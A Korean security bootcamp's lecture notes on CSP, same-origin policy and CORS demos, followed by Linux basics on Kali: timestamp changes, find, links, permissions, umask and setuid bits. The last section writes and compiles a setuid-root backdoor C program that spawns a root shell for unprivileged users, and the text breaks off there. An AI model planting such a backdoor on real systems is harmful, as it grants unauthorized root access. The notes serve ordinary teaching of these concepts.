
sk 쉴더스 루키즈 19기 5주 5일차
교차 사이트 스크립팅(XSS)과 데이터 주입 공격을 비롯한 특정 유형의 공격을 탐지하고 완화하는 데 도움이 되는 추가 보안 계층입니다. 이러한 공격은 데이터 절도에서 사이트 훼손, 맬웨어 배포에 이르기까지 모든 것에 사용됩니다.
CSP를 활성화하려면 Content-Security-Policy (en-US) HTTP 헤더를 반환하도록 웹 서버를 구성해야 합니다. (가끔씩 X-Content-Security-Policy 헤더를 볼수도 있지만, 이는 이전 버전이므로 더 이상 설정할 필요가 없습니다.)
컨텐츠 보안 정책 구성은 Content-Security-Policy (en-US) HTTP 헤더를 웹 페이지에 추가하고 사용자 에이전트가 해당 페이지에 대해 로드할 수 있는 리소스를 제어하는 값을 지정하는 작업이 수반됩니다. 예를 들어 이미지를 업로드하고 표시하는 페이지는 어디에서나 이미지를 허용할 수 있지만 폼 작업은 특정 엔드포인트로 제한할 수 있습니다. 적절하게 설계된 콘텐츠 보안 정책은 교차 사이트 스크립팅 공격으로부터 페이지를 보호하는 데 도움이 됩니다.
위키 정의
신뢰된 웹 페이지 콘텍스트에서
~~~~~~~~~~~~~~~~~~~~~~~~~
믿을 수 있는 웹 사이트로 부터 제공된 페이지
악의적인 콘텐츠를 실행하게 하는 사이트 간 스크립팅(XSS), 클릭재킹, 그리고 기타 코드 인젝션 공격을
~~~~~~~~~~~~~~~~~~~~~~~~~
웹 브라우저에서 의도하지 않은 또는 공격자가 심어 놓은 코드가 실행
예방하기 위해 도입된 컴퓨터 보안 표준이다.
웹 애플리케이션 보안의 W3C 워킹 그룹의 후보 권고안이며 현대의 웹 브라우저에 폭넓게 지원된다.
CSP는 웹사이트 소유자들이 승인된 콘텐츠 오리진(origin)을 선언할 수 있게 하는 표준 방식을 제공하며,
⇒ 컨텐츠를 제공하는 사람이 해당 컨텐츠의 출처를 기술할 수 있게 함
이를 통해 해당 웹사이트들로부터 브라우저들이
자바스크립트, CSS, 프레임, 웹 워커, 글꼴, 이미지, --+ ⇐ 웹 컨텐츠
그리고 자바 애플릿, 액티브X, 오디오 및 비디오 파일, |
그리고 기타 HTML5 기능들을 --+
사용할 수 있게 허용이 가능해진다.

크롬 확장 프로그램(Allow CSP)을 통해서 CSP가 적용되었을 때와 적용되지 않았을 때 동작을 확인할 수 있음

오류 메시지
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' www.googletagmanager.com platform.twitter.com syndication.twitter.com static.ads-twitter.com 'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro=' 'unsafe-hashes' 'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0='". Either the 'unsafe-inline' keyword, a hash ('sha256-Tp3DprVaw705+T32OJCWsffouY/zcJLOZrl1JYbbzz0='), or a nonce ('nonce-...') is required to enable inline execution.
오류가 발생하는 코드
<script>
//if CSP is supported this will not run
window.onload=function(){
var jsNode = document.getElementById("jsNode");
jsNode.innerHTML = "<h3> CSP Not Supported</h3> Your browser does not support CSP, the inline script executed and replaced this div content";
jsNode.className = "alert alert-danger";
};
</script>
응답 헤더
default-src 'none';
script-src 'self' --+ external script인 경우 해당 출처의 것만 사용이 가능
www.googletagmanager.com |
platform.twitter.com |
syndication.twitter.com |
static.ads-twitter.com --+
'sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro=' ⇐ internal script인 경우 해당 해쉬와
일치하는 경우에만 사용이 가능
'unsafe-hashes' ⇐ inline script인 경우 해당 해위와
'sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0='; 일치하는 경우에만 사용을 허용
style-src 'self' cdnjs.cloudflare.com fonts.googleapis.com 'sha256-akbuxUDobAg86+TiT5p8TENoFqlhtGWtEqHedhVNujw='; font-src fonts.gstatic.com cdnjs.cloudflare.com;
img-src 'self' syndication.twitter.com t.co analytics.twitter.com;
frame-src platform.twitter.com;
connect-src *.google-analytics.com

CSP가 동작하지 않았을 때 출력

CSP를 지원하지 않는 브라우져

CSP를 지원하는 브라우저


Origin = 출처 = 기원 = 스킴(scheme + host + port)
http://www.test.com:80/path/file?param=value#page
~~~~ ~~~~~~~~~~~~ ~~
| | |
| | +-- 포트 번호
| +-- 호스트 주소 ⇒ IP 주소 or 도메인 주소
+-- 스킴 = 프로토콜
http://www.test.com/files/mydoc.txt
http://www.test.com/datas/mydata
⇒ mydoc.txt와 mydata는 스킴, 호스트 주소, 포트 번호(생략된 80포트)가 모두 동일하므로 같은 출처의 자원
http://www.test.com/files/mydoc.txt
https://www.test.com/datas/mydata
⇒ 스킴이 다르므로 다른 출처의 자원
http://www.test.com/files/mydoc.txt
http://web.test.com/datas/mydata
⇒ 호스트 주소가 다르므로 다른 출처의 자원
http://www.test.com/files/mydoc.txt
http://www.test.com:80/datas/mydata
⇒ 브라우저에 따라 동일 출처로 보기도 하고 다른 출처로 보기도 함
기본적으로 웹은 출처가 달라도 리소스를 사용하는 것이 가능 ⇒ 교차 기원 자원 요청
명령 프롬프트에서 아래 명령어를 실행
c:\Users\crpark> mkdir c:\test
c:\Users\crpark> cd c:\test
c:\test> code .
c:\test> python -m http.server ⇐ 파이썬 기본 웹 서버를 실행
Serving HTTP on :: port 8000 (http://[::]:8000/) 명령어를 실행한 디렉터리를 웹 루트 디렉터리로 인식
http://localhost:8000/file_name 형식으로 해당 디렉터리의
파일에 접근이 가능
VSCode에서 test.html 파일을 생성
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Hello!!!</h1>
</body>
</html>
브라우저로 실행을 확인

test.html 파일에 이미지와 스크립트 코드를 추가
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
$(() => {
$('h1').css('color', 'red');
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
</body>
</html>

해당 문서의 출처 ⇒ http://localhost:8000
이미지의 출처 ⇒ https://i.pinimg.com --+ 문서의 출처와 다름
스크립트의 출처 ⇒ https://code.jquery.com --+
⇒ 문서의 출처와 이미지 및 스크립트의 출처가 다름에도 불구하고
해당 문서에서 이미지와 스크립트를 가져와서 사용하는 것이 가능
⇒ 교차 출처 자원 요청이 가능
보안적인 이유로 스크립트를 이용해서 가져오는 리소스는 같은 출처로 제한 ⇒ SOP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
= AJAX 통신을 통해서 가져오는 리소스
어떤 출처에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호 작용할 수 있는 방법을 제한하는 중요한 보안 메커니즘입니다.
잠재적 악성 문서를 격리하여 가능한 공격 벡터를 줄이는 데 도움이 됩니다.
예를 들어 인터넷의 악의적인 웹사이트가 브라우저에서 JS를 실행하여 (사용자가 로그인 한) 타사 웹메일 서비스나 회사 인트라넷(공용 IP 주소가 없어 공격자의 직접적인 접근으로부터 보호)에서 데이터를 읽고 공격자에게 전달하는 것을 방지합니다.
자바스크립트를 이용해서 동일 출처의 자원을 가져와서 사용
datas\myinfo 파일을 추가

<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
function setUserInfo() {
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("userinfo").innerHTML = this.responseText;
}
xhr.open('GET', 'http://localhost:8000/datas/myinfo', true);
xhr.send();
}
$(() => {
$('h1').css('color', 'red');
setUserInfo();
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
<div id="userinfo"></div>
</body>
</html>

해당 페이지와 같은 출처(http://localhost:8000)의 리소스(myinfo)는 자바스크립트를 이용해서 가져오고 사용할 수 있음
자바스크립트를 이용해서 다른 출처의 자원을 가져와서 사용
명령 프롬프트에서 새로운 웹 서버를 실행
c:\test> python -m http.server 9000 ⇐ 9000번 포트로 서버를 실행
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
또 다른 명령 프롬프트를 실행해서 새로운 웹 서버의 리소스가 제공되는 것을 확인
c:\Users\crpark> curl http://localhost:9000/datas/myinfo
{ "name": "홍길동", "age": 23, "email": "hong@test.com" }
소스 코드에 해당 리소스를 가져오도록 수정
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
function setUserInfo() {
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("userinfo").innerHTML = this.responseText;
}
xhr.open('GET', 'http://localhost:9000/datas/myinfo', true);
xhr.send();
}
$(() => {
$('h1').css('color', 'red');
setUserInfo();
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
<div id="userinfo"></div>
</body>
</html>

문서의 출처 ⇒ http://localhost:8000
JavaScript로 가져오는 리소스의 출처 ⇒ http://localhost:9000
포트가 상이 ⇒ 문서의 출처와 리소스의 출처가 다르다 ⇒ 해당 문서에 리소스를 가져왔으나 사용할 수는 없음
⇒ SOP 어긋남 ⇒ 자바스크립트를 이용해서 가져오는 리소스는 동일 출처로 제한
추가 HTTP 헤더를 사용하여,
~~~~~~~~~
Access-Control-Allow-Origin
한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록
브라우저에 알려주는 체제입니다.
웹 애플리케이션은 리소스가 자신의 출처(도메인, 프로토콜, 포트)와 다를 때 교차 출처 HTTP 요청을 실행
Access-Control-Allow-Origin 헤더를 제공하는 사이트로 리소스를 요청하도록 코드를 수정
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script>
function setUserInfo() {
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.getElementById("userinfo").innerHTML = this.responseText;
}
xhr.open('GET', 'https://microsoftedge.github.io/Demos/json-dummy-data/64KB.json', true);
xhr.send();
}
$(() => {
$('h1').css('color', 'red');
setUserInfo();
})
</script>
</head>
<body>
<h1>Hello!!!</h1>
<img src="https://i.pinimg.com/474x/b0/7a/6c/b07a6c96e5ccd3cbc15412bdfdd45603.jpg" width="200" height="200" />
<div id="userinfo"></div>
</body>
</html>

문서의 출처 ⇒ http://localhost:8000
자바스크립트로 가져오는 리소스의 출처 ⇒ https://microsoftedge.github.io
문서의 출처와 리소스의 출처가 다름에도 불구하고 해당 문서에 리소스를 사용할 수 있는 것은 Access-Control-Allow-Origin 응답 헤더의 값 범위 문서의 출처가 포함되어 있기 때문
소스 코드를 원래(http://localhost:9000)대로 고치고 Allow CORS 크롬 확장 프로그램을 이용해서 A-C-A-O 헤더를 추가
┌──(kali㉿kali)-[~]
└─$ mkdir LAB
┌──(kali㉿kali)-[~]
└─$ cd LAB
┌──(kali㉿kali)-[~/LAB]
└─$ touch myfile
~~~~~~
파일명 ⇒ 해당 파일이 존재하지 않으면 크기가 0인 빈 파일을 생성
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 01:10 myfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch -t 202401012255 myfile
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 myfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch newfile
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 myfile
-rw-r--r-- 1 kali kali 0 Mar 29 01:14 newfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch -r myfile newfile
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 myfile
-rw-r--r-- 1 kali kali 0 Jan 1 22:55 newfile ⇐ myfile의 시간과 동일하게 변경
일 또는 디렉터리 검색 명령어
find / -name file -exec rm -rf {}\;
~ ~~~~~~~~~~ ~~~~~~~~~~~~~~~~~
| | |
| | +-- 액션
| +-- 검색 조건
+-- 검색 범위
조건
-name 이름으로 검색
-type 파일 타입으로 검색 (d: 디렉터리, f: 파일)
-perm 권한으로 검색
-user 소유자로 검색
-size 파일 크기로 검색 (+ : 이상, - : 이하)
C, K, M, G
-atime 파일의 마지막 접근 시간으로 검색
-mtime 파일의 마지막 수정 시간으로 검색
액션
-ls 결과를 출력
-exec 검색한 파일을 특정 명령어로 실행
예) -exec 실행할명령어 {}\;
┌──(kali㉿kali)-[~/LAB]
└─$ ls
myfile newfile
┌──(kali㉿kali)-[~/LAB]
└─$ rm -rf *
zsh: sure you want to delete all 2 files in /home/kali/LAB [yn]? y
┌──(kali㉿kali)-[~/LAB]
└─$ touch bbb
┌──(kali㉿kali)-[~/LAB]
└─$ touch ccc
┌──(kali㉿kali)-[~/LAB]
└─$ touch ddd
┌──(kali㉿kali)-[~/LAB]
└─$ find ~/ -name LAB -type d -ls
4372376 4 drwxr-xr-x 2 kali kali 4096 Mar 29 01:25 /home/kali/LAB
┌──(kali㉿kali)-[~/LAB]
└─$ find ~/ -name bbb -type f -exec rm -f {} \;
┌──(kali㉿kali)-[~/LAB]
└─$ ls
ccc ddd
┌──(kali㉿kali)-[~/LAB]
└─$ rm -rf *
zsh: sure you want to delete all 2 files in /home/kali/LAB [yn]? y
원본, 카피, 하드 링크, 심볼릭 링크 파일을 생성 및 내용 확인
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Kali" > org_file
┌──(kali㉿kali)-[~/LAB]
└─$ cp org_file org_file_cp ⇐ 원본 파일의 복사본을 생성 → cp 명령을 이용
┌──(kali㉿kali)-[~/LAB]
└─$ ln org_file org_file_hl ⇐ 원본 파일의 하드 링크 파일을 생성 → ln 명령을 이용
┌──(kali㉿kali)-[~/LAB]
└─$ ln -s org_file org_file_sl ⇐ 원본 파일의 심볼릭 링크 파일을 생성 → ln -s 명령을 이용
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 12
-rw-r--r-- 2 kali kali 11 Mar 29 01:35 org_file
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 2 kali kali 11 Mar 29 01:35 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:38 org_file_sl -> org_file
~~~~~~~~~~ ~ ~~~~~~~~~ ~~ ~~~~~~~~~~~~ ~~~~~~~~~~~
| | | | | 파일 이름
| | | | +-- 파일 변경 일시
| | | +-- 파일 크기(byte) ⇐ 심볼릭 링크인 경우 원본 파일의 파일명 길이가 파일 크기로 설정
| | +-- 파일 소유자 이름 + 파일 소유자 그룹 이름
| +-- 링크 수
+-- 파일 유형 + 파일 허가권
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file
Hello Kali ⇐ 모든 파일의 내용이 동일
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
Hello Kali
원본 파일에 새로운 내용을 추가하고 내용을 확인
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Linux" >> org_file
~~
기존 파일에 내용을 추가(append)
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 12
-rw-r--r-- 2 kali kali 23 Mar 29 01:48 org_file
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 2 kali kali 23 Mar 29 01:48 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:38 org_file_sl -> org_file
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp ⇐ 복사한 파일을 제외하고 모두 내용이 변경된 것을 확인
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
Hello Kali
Hello Linux
원본 파일을 삭제하고 파일의 내용을 확인
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f org_file
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 8
-rw-r--r-- 1 kali kali 11 Mar 29 01:36 org_file_cp
-rw-r--r-- 1 kali kali 23 Mar 29 01:48 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:38 org_file_sl -> org_file ⇐ 붉은색으로 표시
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_cp
Hello Kali
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_hl
Hello Kali
Hello Linux
┌──(kali㉿kali)-[~/LAB]
└─$ cat org_file_sl
cat: org_file_sl: No such file or directory ⇐ 원본 파일이 삭제되면 심볼릭 링크는 내용을 확인할 수 없음
전체 파일을 삭제하고 원본, 하드링크, 심볼릭링크 파일을 생성
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete all 3 files in /home/kali/LAB [yn]? y
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello Kali" > org_file
┌──(kali㉿kali)-[~/LAB]
└─$ ln org_file org_file_hl
┌──(kali㉿kali)-[~/LAB]
└─$ ln -s org_file org_file_sl
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 8
-rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file
-rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file_hl
lrwxrwxrwx 1 kali kali 8 Mar 29 01:55 org_file_sl -> org_file
파일의 i-node 정보를 확인
┌──(kali㉿kali)-[~/LAB]
└─$ ls -il
total 8
4372675 -rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file
4372675 -rw-r--r-- 2 kali kali 11 Mar 29 01:55 org_file_hl
4372680 lrwxrwxrwx 1 kali kali 8 Mar 29 01:55 org_file_sl -> org_file
~~~~~~~
i-node

구분 하드링크 심볼릭링크
-------------------- --------------------------- ---------------------------------
ln 명령어 옵션 없음 -s
링크 개수 링크 마다 1씩 증가 링크 개수 증가 없음
파일 용량 원본 용량과 동일 원본 파일명의 길이
다른 파일 시스템 불가 가능
디렉터리 불가 가능
원본 파일 내용 접근 가능 접근 가능
파일 내용 수정 수정 가능 수정 가능
원본 파일 삭제 링크 파일 접근 가능 링크 파일 접근 불가 ⇒ 고아 링크
퍼미션 퍼미션 의미 있음 의미 없음
권한 설정
파일, 디렉터리의 소유와 허가권

u g o
7 5 5
111 101 101
rwx r-x r-x
chmod : 파일의 권한 변경
chmod 777 sample.txt
chown / chgrp : 파일의 소유자/그룹을 변경
chown tester.tester sample.txt ⇐ 소유자와 그룹을 tester로 변경
chown tester sample.txt
chgrp tester sample.txt
사용자를 생성
┌──(kali㉿kali)-[~/LAB]
└─$ sudo adduser gildong ⇐ 사용자 추가
[sudo] password for kali: kali
info: Adding user `gildong' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `gildong' (1002) ...
info: Adding new user `gildong' (1002) with group `gildong (1002)' ...
info: Creating home directory `/home/gildong' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for gildong
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
info: Adding new user `gildong' to supplemental / extra groups `users' ...
info: Adding user `gildong' to group `users' ...
파일을 생성해서 소유자가 읽고 쓸 수 있는지 확인
┌──(kali㉿kali)-[~/LAB]
└─$ touch sample
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 02:40 sample
┌──(kali㉿kali)-[~/LAB]
└─$ echo "Hello" >> sample ⇐ sample 파일을 읽고 쓸 수 있음
┌──(kali㉿kali)-[~/LAB]
└─$ cat sample
Hello
다른 사용자로 로그인해서 해당 파일을 읽고 쓸 수 있는지 확인
┌──(kali㉿kali)-[~/LAB]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),135(wireshark),137(kaboxer)
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su gildong
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ id
uid=1002(gildong) gid=1002(gildong) groups=1002(gildong),100(users)
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l
total 4
-rw-r--r-- 1 kali kali 6 Mar 29 02:40 sample ⇐ gildong은 sample 파일을 읽는 것만 가능
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ cat sample
Hello
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ echo "Kali" >> sample ⇐ 쓰기 권한이 없기 때문에 권한 오류가 발생
bash: sample: Permission denied
파일 소유자로 전환해서 other user에게 쓰기 권한을 부여
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ exit
exit
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
-rw-r--r-- 1 kali kali 6 Mar 29 02:40 sample
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 646 sample ⇐ chmod o+w sample 동일
~~~
┌──(kali㉿kali)-[~/LAB] u: user +: 추가 r: 읽기
└─$ ls -l g: group -: 삭제 w: 쓰기
total 4 o: other x: 실행
-rw-r--rw- 1 kali kali 6 Mar 29 02:40 sample
gildong 사용가 쓰기 가능한지 확인
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l
total 4
-rw-r--rw- 1 kali kali 6 Mar 29 02:40 sample
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ echo "Kali" >> sample
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ cat sample
Hello
Kali
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ exit
exit
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete the only file in /home/kali/LAB [yn]? y
umask
┌──(kali㉿kali)-[~/LAB]
└─$ touch myfile
┌──(kali㉿kali)-[~/LAB]
└─$ mkdir mydir
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Mar 29 02:58 mydir ⇐ 755
-rw-r--r-- 1 kali kali 0 Mar 29 02:58 myfile ⇐ 644
┌──(kali㉿kali)-[~/LAB]
└─$ umask ⇐ 현재 설정된 umask 값을 확인
022
┌──(kali㉿kali)-[~/LAB]
└─$ umask 775 ⇐ umask 값을 변경
┌──(kali㉿kali)-[~/LAB]
└─$ umask
0775
┌──(kali㉿kali)-[~/LAB]
└─$ touch newfile
┌──(kali㉿kali)-[~/LAB]
└─$ touch newdir
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 4
drwxr-xr-x 2 kali kali 4096 Mar 29 02:58 mydir
-rw-r--r-- 1 kali kali 0 Mar 29 02:58 myfile
--------w- 1 kali kali 0 Mar 29 03:07 newdir ⇐ 002
--------w- 1 kali kali 0 Mar 29 03:07 newfile ⇐ 002
775 ⇒ (이진수) ⇒ 111 111 101 ⇒ (보수) ⇒ 000 000 010
777 ⇒ (이진수) ⇒ 111 111 111
AND ⇒ 000 000 010 ⇒ (십진수) 002
666 ⇒ (이진수) ⇒ 110 110 110
AND ⇒ 000 000 010 ⇒ (십진수) 002
원래 umask로 변경하고 파일을 삭제
┌──(kali㉿kali)-[~/LAB]
└─$ umask 22
┌──(kali㉿kali)-[~/LAB]
└─$ umask
022
┌──(kali㉿kali)-[~/LAB]
└─$ rm -f *
zsh: sure you want to delete all 4 files in /home/kali/LAB [yn]? y
rm: cannot remove 'mydir': Is a directory
특수 권한
SetUID 4xxx ⇐ 파일 소유자의 ID로 유효 사용자(EUID)가 변경되어 실행
SetGID 2xxx
Sticky Bit 1xxx
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 72344 Oct 15 13:10 /usr/bin/passwd ⇐ 실행 파일
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l /etc/shadow ⇐ 사용자의 패스워드 정보가 들어 있는 파일
-rw-r----- 1 root shadow 1657 Mar 29 02:38 /etc/shadow

실행 권한이 없는 일반 파일에 특수 권한을 부여
┌──(kali㉿kali)-[~/LAB]
└─$ touch setuid
┌──(kali㉿kali)-[~/LAB]
└─$ touch setgid
┌──(kali㉿kali)-[~/LAB]
└─$ touch sticky
┌──(kali㉿kali)-[~/LAB]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 setgid
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 setuid
-rw-r--r-- 1 kali kali 0 Mar 29 03:41 sticky
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 4666 setuid ⇐ 4000(setuid) + 666(rw-rw-rw-)
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 2666 setgid ⇐ 2000(setgid) + 666(rw-rw-rw-)
┌──(kali㉿kali)-[~/LAB]
└─$ chmod 1666 sticky ⇐ 1000(sticky) + 666(rw-rw-rw-)
┌──(kali㉿kali)-[~/LAB]
└─$ ll ⇐ ls -l
total 0
-rw-rwSrw- 1 kali kali 0 Mar 29 03:41 setgid ⇐ 특수 권한을 부여하면 실행 권한 부분에 특수 권한을 표시
-rwSrw-rw- 1 kali kali 0 Mar 29 03:41 setuid SetUID, SetGID는 user와 group 자리에 S로 표시
-rw-rw-rwT 1 kali kali 0 Mar 29 03:41 sticky Sticky Bit는 other 자리에 T로 표시
실행 권한을 부여
┌──(kali㉿kali)-[~/LAB]
└─$ chmod u+x setuid
┌──(kali㉿kali)-[~/LAB]
└─$ chmod g+x setgid
┌──(kali㉿kali)-[~/LAB]
└─$ chmod o+x sticky
┌──(kali㉿kali)-[~/LAB]
└─$ ls -l
total 0
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid ⇐ 특수 권한이 부여된 파일에 실행 권한 있는 경우에는
-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid 특수 권한을 소문자로 표시
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
특수 권한이 설정된 파일을 검색
┌──(kali㉿kali)-[~/LAB]
└─$ sudo find / -perm 4000 ⇐ 권한이 정확하게 4000과 일치하는 것을 검색
4000(SetUID) + 000(--- --- ---)
┌──(kali㉿kali)-[~/LAB]
└─$ sudo find / -perm -4000 ⇐ SetUID가 설정된 모든 권한(4000 ~ 4777)을 검색
root 사용자로 backdoor.c 파일을 생성하고 컴파일
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su
┌──(root㉿kali)-[/home/kali/LAB]
└─# gedit backdoor.c
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}
┌──(root㉿kali)-[/home/kali/LAB]
└─# gcc -o backdoor backdoor.c
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l
total 20
-rwxr-xr-x 1 root root 16056 Mar 29 03:59 backdoor
-rw-r--r-- 1 root root 90 Mar 29 03:58 backdoor.c
-rw-rwsrw- 1 kali kali 0 Mar 29 03:41 setgid
-rwsrw-rw- 1 kali kali 0 Mar 29 03:41 setuid
-rw-rw-rwt 1 kali kali 0 Mar 29 03:41 sticky
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod o-x backdoor ⇐ other의 실행 권한을 제거
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l backdoor
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
backdoor 파일을 복사한 후 특수 권한을 부여
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp backdoor backdoor_4744
┌──(root㉿kali)-[/home/kali/LAB]
└─# cp backdoor backdoor_4755
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4744 backdoor_4744
┌──(root㉿kali)-[/home/kali/LAB]
└─# chmod 4755 backdoor_4755
┌──(root㉿kali)-[/home/kali/LAB]
└─# ls -l backdoor*
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744 ⇐ 실행 가능한 파일에 SetUID가 설정
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755
-rw-r--r-- 1 root root 90 Mar 29 03:58 backdoor.c
다른 사용자로 전환해서 backdoor 파일을 실행
터미널를 하나 열어서
┌──(kali㉿kali)-[~/LAB]
└─$ sudo su gildong ⇐ gildong 사용자로 전환
[sudo] password for kali:
┌──(gildong㉿kali)-[/home/kali/LAB]
└─$ ls -l backdoor*
-rwxr-xr-- 1 root root 16056 Mar 29 03:59 backdoor
-rwsr--r-- 1 root root 16056 Mar 29 04:02 backdoor_4744
-rwsr-xr-x 1 root root 16056 Mar 29 04:02 backdoor_4755 ⇐ gildong 사용자가 실행이 가능하고 실행 시점에
